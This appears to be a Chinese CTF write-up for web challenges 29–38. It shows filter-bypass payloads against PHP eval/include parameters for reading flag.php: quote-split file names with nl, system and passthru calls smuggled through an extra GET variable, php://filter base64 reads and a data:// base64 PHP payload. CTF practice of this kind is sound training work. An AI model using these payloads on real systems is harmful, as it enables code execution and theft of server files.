web 29
1 |
|
这里使用绕过过滤,需要了解一个nl
命令。
nl
命令读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl
命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用-p选项,nl
命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与cat -n有点不太一样, nl
可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。 nl (选项) (参数)
使用nl
打开文件
1 | echo `nl fl''ag.php` |
或者再用一个变量进行绕过。
1 | /?c=system($_GET['a']);&a=nl flag.php; |
web 30
1 |
|
这一题比上一题多过滤了些关键词,但同样可以29题的方法。
除了system
之外,我们还可以使用passthru
?c=passthru('ls')
?c=passthru("nl fl''ag.ph''p")
1 | echo `nl fl''ag.p''hp` |
也可以用一句话。
1 | ?c=eval($_GET[a]) &a=system('cat flag.php'); |
web 31
1 |
|
这里设置了更多的过滤,
1 | /?c=eval($_GET[a]) &a=system('cat flag.php'); |
除此之外还有其他的姿势。
show_source(next(array_reverse(scandir(pos(localeconv())))));
还不知道这时干啥的,不过显示的和通过菜刀连接显示的信息时一样的。
上述可以利用系统命令执行和增添变量
web 32
1 |
|
这里过滤了太多的东西,之前用到的就不能再用了。
通过了解eval
函数可以包含文件。
1 | ?c=include$_GET["url"] &url=php://filter/read=convert.base64-encode/resource=flag.php |
得到flag。
web 33~36
1 |
|
这里过滤了双引号,但是在密码里面是可以不加双引号的。
1 | /?c=include$_GET[url] &url=php://filter/convert.base64-encode/resource=flag.php |
web 37
1 |
|
这一关同样是利用伪协议。
1 | ?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4= |
web 38
1 |
|
这一题同样可以使用上一题的做法
1 | ?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4= |
大多都是文件包含类的。